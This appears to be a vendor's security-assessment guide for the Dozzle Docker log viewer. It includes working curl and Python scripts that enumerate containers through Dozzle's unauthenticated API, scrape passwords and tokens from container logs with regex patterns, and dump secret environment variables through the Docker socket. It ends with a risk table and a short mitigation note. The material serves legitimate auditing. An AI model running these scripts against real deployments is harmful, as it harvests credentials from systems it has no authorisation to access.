Dozzle is the most popular lightweight Docker log viewer for self-hosted environments, deployed in home labs and development setups to view container logs in real-time through a web UI. Its security profile is defined by two fundamental design choices: it requires mounting the Docker socket for log access, and it has no authentication by default. The Docker socket mount gives Dozzle root-equivalent access to the Docker daemon and by extension all containers on the host — but the more immediate risk is the unauthenticated log streaming: container logs from an entire homelab stack often contain database connection strings with passwords, API keys printed at startup, JWT secrets, SMTP credentials, and webhook URLs logged at debug level. Key assessment areas: Dozzle's /api/hosts endpoint returns all configured Docker hosts without authentication; /api/logs/stream/{containerId} streams live logs; Docker socket access allows container enumeration; and agent mode consolidates logs from multiple Docker hosts into a single unauthenticated endpoint. This guide covers systematic Dozzle security assessment.
# Dozzle — no authentication by default on port 8080
DOZZLE_URL="http://dozzle.example.com:8080"
# Check if Dozzle API is accessible without authentication
curl -s "${DOZZLE_URL}/api/hosts" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print('DOZZLE API ACCESSIBLE WITHOUT AUTHENTICATION')
for host_id, host_data in d.items():
print(f' Docker host: {host_id} name={host_data.get(\"name\")}')
print(f' Containers: {len(host_data.get(\"containers\",[]))}')
for c in host_data.get('containers',[]):
print(f' [{c.get(\"id\",\"\")[:12]}] {c.get(\"name\")} image={c.get(\"image\")} status={c.get(\"status\")}')
except Exception as e:
print(f'Error: {e}')
print(sys.stdin.read()[:300])
" 2>/dev/null
# Older Dozzle API format
curl -s "${DOZZLE_URL}/api/containers" 2>/dev/null | python3 -c "
import json,sys
try:
containers = json.load(sys.stdin)
print(f'Containers accessible: {len(containers)}')
for c in containers:
print(f' [{c.get(\"id\",\"\")[:12]}] {c.get(\"name\")} image={c.get(\"image\")} state={c.get(\"state\")}')
except Exception as e:
print(f'Error: {e}')
" 2>/dev/null
# Dozzle log streaming — extract credentials from container logs
DOZZLE_URL="http://dozzle.example.com:8080"
CONTAINER_ID="abc123def456" # container ID from /api/containers
# Stream logs from a specific container and grep for credentials
# Dozzle uses SSE (Server-Sent Events) for log streaming
curl -sN "${DOZZLE_URL}/api/logs/stream/${CONTAINER_ID}?lastEventId=0" 2>/dev/null | \
grep -iE '(password|secret|key|token|credential|apikey|api_key|bearer|auth)' | head -50
# Fetch historical logs for credential extraction
curl -s "${DOZZLE_URL}/api/logs/${CONTAINER_ID}?tail=500" 2>/dev/null | \
python3 -c "
import sys, re
logs = sys.stdin.read()
patterns = [
r'(password|passwd|pwd)\s*[=:]\s*[\"'\''']?([^\s\"'\'',;>]+)',
r'(api.?key|apikey|api_token)\s*[=:]\s*[\"'\''']?([^\s\"'\'',;>]+)',
r'(secret|token|bearer)\s*[=:]\s*[\"'\''']?([^\s\"'\'',;>]+)',
r'(mysql|postgres|mongodb|redis)://[^@]+@[^\s]+',
r'[A-Za-z0-9+/]{40,}={0,2}', # base64-encoded secrets
]
for pattern in patterns:
matches = re.findall(pattern, logs, re.IGNORECASE)
for m in matches[:5]:
print(f'Found: {m}')
" 2>/dev/null
# Common credential patterns in container startup logs:
# - Spring Boot: "Configuring database with URL jdbc:postgresql://localhost:5432/app password=abc123"
# - Node.js: "Connecting to MongoDB: mongodb://user:password@host:27017/db"
# - Django: "DATABASE_URL=postgresql://user:pass@host/db"
# - n8n, Airflow, etc. log their full configuration including webhook secrets at startup
# Dozzle Docker socket access — root-equivalent container intelligence
# Dozzle mounts /var/run/docker.sock for log access
# If Dozzle is compromised, the Docker socket gives full daemon control
# Check Dozzle container's Docker socket mount
docker inspect dozzle 2>/dev/null | python3 -c "
import json,sys
containers = json.load(sys.stdin)
if not containers: import sys; sys.exit()
mounts = containers[0].get('Mounts',[])
for m in mounts:
if 'docker.sock' in m.get('Source','') or 'docker.sock' in m.get('Destination',''):
print(f'Docker socket mounted: {m.get(\"Source\")} -> {m.get(\"Destination\")}')
print(f'Mode: {m.get(\"Mode\",\"rw\")}')
print('IMPACT: Container process has root-equivalent Docker daemon access')
" 2>/dev/null
# From inside Dozzle container (if compromised), Docker socket gives:
# - docker ps -a: enumerate all containers including stopped ones
# - docker exec: execute commands in any running container
# - docker inspect: read all container environment variables
# - docker run: spawn new privileged containers
# This is equivalent to root on the host via cgroup namespace escape
# Enumerate all container environment variables via Docker socket
# (demonstrates the escalation path from Dozzle compromise)
docker inspect $(docker ps -aq) 2>/dev/null | python3 -c "
import json,sys
containers = json.load(sys.stdin)
for c in containers:
name = c.get('Name','')
env = c.get('Config',{}).get('Env',[])
secrets = [e for e in env if any(k in e.upper() for k in ['PASSWORD','SECRET','TOKEN','KEY','API'])]
if secrets:
print(f'{name}:')
for s in secrets:
print(f' {s}')
" 2>/dev/null
--addr 127.0.0.1:8080 or access it through a reverse proxy with authentication (Nginx, Traefik with BasicAuth/ForwardAuth); the combination of no auth and Docker socket access makes an internet-accessible Dozzle a critical vulnerability| Security Test | Method | Risk |
|---|---|---|
| Unauthenticated container enumeration | GET /api/hosts or /api/containers — returns all container names, image names, and status without authentication; reveals the complete container stack running on the host | High |
| Credential extraction from log streaming | GET /api/logs/stream/{containerId} — streams real-time container logs; filter for password, secret, key, token, API key patterns; many applications log credentials at startup or in debug output | Critical |
| Docker socket access from compromised Dozzle | If Dozzle container is RCE-compromised, /var/run/docker.sock mount provides Docker daemon access: container enumeration, exec into running containers, environment variable extraction, privileged container creation | Critical |
| Agent mode multi-host log access | Dozzle agent endpoints aggregate logs from multiple Docker hosts; if agent mode is enabled and accessible, GET /api/hosts returns all configured remote hosts; single Dozzle compromise exposes logs from all agent-connected hosts | High |
Ironimo tests Dozzle deployments for unauthenticated API access on the default port, container enumeration via /api/hosts and /api/containers, credential pattern extraction from streamed container logs, Docker socket mount configuration assessment, agent mode multi-host exposure, log verbosity and credential leakage audit across all connected containers, and access control configuration review.
Start free scan